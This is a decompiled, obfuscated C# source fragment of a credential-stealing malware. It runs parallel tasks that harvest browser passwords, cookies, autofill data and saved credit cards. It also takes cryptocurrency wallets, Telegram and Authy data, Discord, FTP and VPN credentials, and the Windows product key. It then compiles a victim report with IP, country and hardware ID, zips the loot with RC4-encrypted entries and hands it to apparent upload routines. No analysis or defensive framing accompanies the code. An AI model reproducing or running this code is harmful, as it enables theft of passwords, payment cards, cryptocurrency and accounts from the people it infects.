Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv + "\\Cards Chrome.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
if (list != null)
{
list.Clear();
}
text = null;
}
// Token: 0x06000067 RID: 103 RVA: 0x00004C2C File Offset: 0x00002E2C
public static void vmethod_45(string str_0)
{
try
{
if (Directory.Exists(Class_18.field_1))
{
foreach (string path in Directory.GetFiles(Class_18.field_1))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_18.field_2 + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
Class_18.field_0++;
Class_54.field_0++;
}
}
catch
{
}
}
// Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
public static void GetCollection()
{
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
Task[] array = new Task[1];
array[0] = new Task(delegate()
{
Class_57.a();
});
CS$ < > 8__locals2.t0 = array;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
Task[] array2 = new Task[1];
array2[0] = new Task(delegate()
{
Class_53.GetChromium();
});
CS$ < > 8__locals3.t1 = array2;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
Task[] array3 = new Task[1];
array3[0] = new Task(delegate()
{
Class_53.GetGecko();
});
CS$ < > 8__locals4.t2 = array3;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
Task[] array4 = new Task[1];
array4[0] = new Task(delegate()
{
Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
});
CS$ < > 8__locals5.t3 = array4;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
Task[] array5 = new Task[1];
array5[0] = new Task(delegate()
{
Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals6.t4 = array5;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
Task[] array6 = new Task[1];
array6[0] = new Task(delegate()
{
Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals7.t5 = array6;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
Task[] array7 = new Task[1];
array7[0] = new Task(delegate()
{
Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals8.t6 = array7;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
Task[] array8 = new Task[1];
array8[0] = new Task(delegate()
{
Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals9.t7 = array8;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
Task[] array9 = new Task[1];
array9[0] = new Task(delegate()
{
Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals10.t8 = array9;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
Task[] array10 = new Task[1];
array10[0] = new Task(delegate()
{
Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals11.t9 = array10;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
Task[] array11 = new Task[1];
array11[0] = new Task(delegate()
{
Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals12.t11 = array11;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
Task[] array12 = new Task[1];
array12[0] = new Task(delegate()
{
Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals13.t12 = array12;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
Task[] array13 = new Task[1];
array13[0] = new Task(delegate()
{
Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals14.t13 = array13;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
Task[] array14 = new Task[1];
array14[0] = new Task(delegate()
{
Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals15.t14 = array14;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
Task[] array15 = new Task[1];
array15[0] = new Task(delegate()
{
Class_96.vmethod_265();
});
CS$ < > 8__locals16.t15 = array15;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
Task[] array16 = new Task[1];
array16[0] = new Task(delegate()
{
Class_83.kmethod_247();
});
CS$ < > 8__locals17.t16 = array16;
try
{
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t0;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t1;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t2;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t3;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t4;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t5;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t6;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t7;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t8;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t9;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t11;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t12;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t13;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t14;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t15;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t16;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
Task.WaitAll(CS$ < > 8__locals1.t0);
Task.WaitAll(CS$ < > 8__locals1.t1);
Task.WaitAll(CS$ < > 8__locals1.t2);
Task.WaitAll(CS$ < > 8__locals1.t3);
Task.WaitAll(CS$ < > 8__locals1.t4);
Task.WaitAll(CS$ < > 8__locals1.t5);
Task.WaitAll(CS$ < > 8__locals1.t6);
Task.WaitAll(CS$ < > 8__locals1.t7);
Task.WaitAll(CS$ < > 8__locals1.t8);
Task.WaitAll(CS$ < > 8__locals1.t9);
Task.WaitAll(CS$ < > 8__locals1.t11);
Task.WaitAll(CS$ < > 8__locals1.t12);
Task.WaitAll(CS$ < > 8__locals1.t13);
Task.WaitAll(CS$ < > 8__locals1.t14);
Task.WaitAll(CS$ < > 8__locals1.t15);
Task.WaitAll(CS$ < > 8__locals1.t16);
}
catch
{
}
GC.Collect();
try
{
Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
}
catch
{
}
try
{
Class_57.b();
Class_93.Copy();
}
catch
{
}
Class_5.field_4.Clear();
Class_5.field_5.Clear();
Class_5.field_6.Clear();
GC.Collect();
string s = string.Concat(new string[]
{
"<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
Class_103.field_0,
"</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium: ",
Class_49.field_1.ToString(),
"</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ",
Class_113.field_0.ToString(),
"</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51",
Class_49.field_5.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd",
Class_49.field_2.ToString(),
"</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3",
Class_49.field_6.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭",
Class_49.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
(Class_54.field_0 > 0) ? "✅" : "❌",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
Class_5.field_1.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
Class_5.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
Class_5.field_2.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
(Class_17.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">✈️ Telegram: ",
(Class_96.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
"</p>\n<p style=\"color:white\"> ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "✅" : "❌",
"</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"</p>\n<p style=\"color:white\">⚙️ ",
Class_14.smethod_40(),
"</p>\n<p style=\"color:white\">\ud83d\udd0e ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
"</p>\n</center>\n</body>\n</html>"
});
string s2 = string.Concat(new string[]
{
Class_103.field_0,
"\nComputer: ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"\nIP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"\nBrowsers Data\n ∟Passwords:\n ∟Chromium: ",
Class_49.field_1.ToString(),
"\n ∟Edge: ",
Class_113.field_0.ToString(),
"\n ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"\n ∟Cookies:",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"\n ∟History:",
Class_49.field_5.ToString(),
"\n ∟Autofills:",
Class_49.field_2.ToString(),
"\n ∟CC:",
Class_49.field_6.ToString(),
"\n ∟Downloads:",
Class_49.field_3.ToString(),
"\nWallets: ",
(Class_54.field_0 > 0) ? "Yes" : "No",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"\nFileGrabber: ",
Class_5.field_1.ToString(),
"\nRecursive Wallets: ",
Class_5.field_3.ToString(),
"\nRDP: ",
Class_5.field_2.ToString(),
"\nDiscord: ",
(Class_17.field_0 > 0) ? "Yes" : "No",
"\nTelegram: ",
(Class_96.field_0 > 0) ? "Yes" : "No",
"\nJabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"\nFTP\n ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
"\n ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "Yes" : "No",
"\nVPN\n ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "Yes" : "No",
"\n ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "Yes" : "No",
"\n ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "Yes" : "No",
"\nHWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"\nDomains: ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
});
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
string str_ = string.Concat(new string[]
{
Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
"\\",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
Class_47.CountryCOde(),
".zip"
});
using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
{
class_.prop_34 = -1L;
class_.prop_17 = Class_169.Always;
class_.prop_9 = Class_202.BestCompression;
class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
{
class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
}
foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
{
try
{
class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
}
catch
{
}
}
if (Class_96.field_2 != null)
{
class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
}
if (Class_83.field_0 != null)
{
class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
}
class_.smethod_930(str_);
Class_47.DeleteDirectory(Class_96.field_2);
Class_47.DeleteDirectory(Class_83.field_0);
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
GC.Collect();
Class_82.vmethod_245(str_, "s");
Class_82.cmethod_244();
Class_81.smethod_240();
}
// Token: 0x06000052 RID: 82 RVA: 0x000046C0 File Offset: 0x000028C0
public static void tmethod_42(string str_0)
{
ComputerInfo computerInfo = new ComputerInfo();
Size size = Screen.PrimaryScreen.Bounds.Size;
try
{
string text = "";
string[] array = new string[35];
array[0] = text;
array[1] = "==================================================\n Operating system: ";
int num = 2;
OperatingSystem osversion = Environment.OSVersion;
array[num] = ((osversion != null) ? osversion.ToString() : null);
array[3] = " | ";
array[4] = computerInfo.OSFullName;
array[5] = "\n PC user: "******"/";
array[8] = Environment.UserName;
array[9] = "\n WinKey: ";
array[10] = Class_9.smethod_30("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId");
array[11] = "\n==================================================\n Screen resolution: ";
int num2 = 12;
Size size2 = size;
array[num2] = size2.ToString();
array[13] = "\n Current time Utc: ";
array[14] = DateTime.UtcNow.ToString();
array[15] = "\n Current time: ";
array[16] = DateTime.Now.ToString();
array[17] = "\n==================================================\n CPU: ";
array[18] = Class_14.xmethod_41();
array[19] = "\n RAM: ";
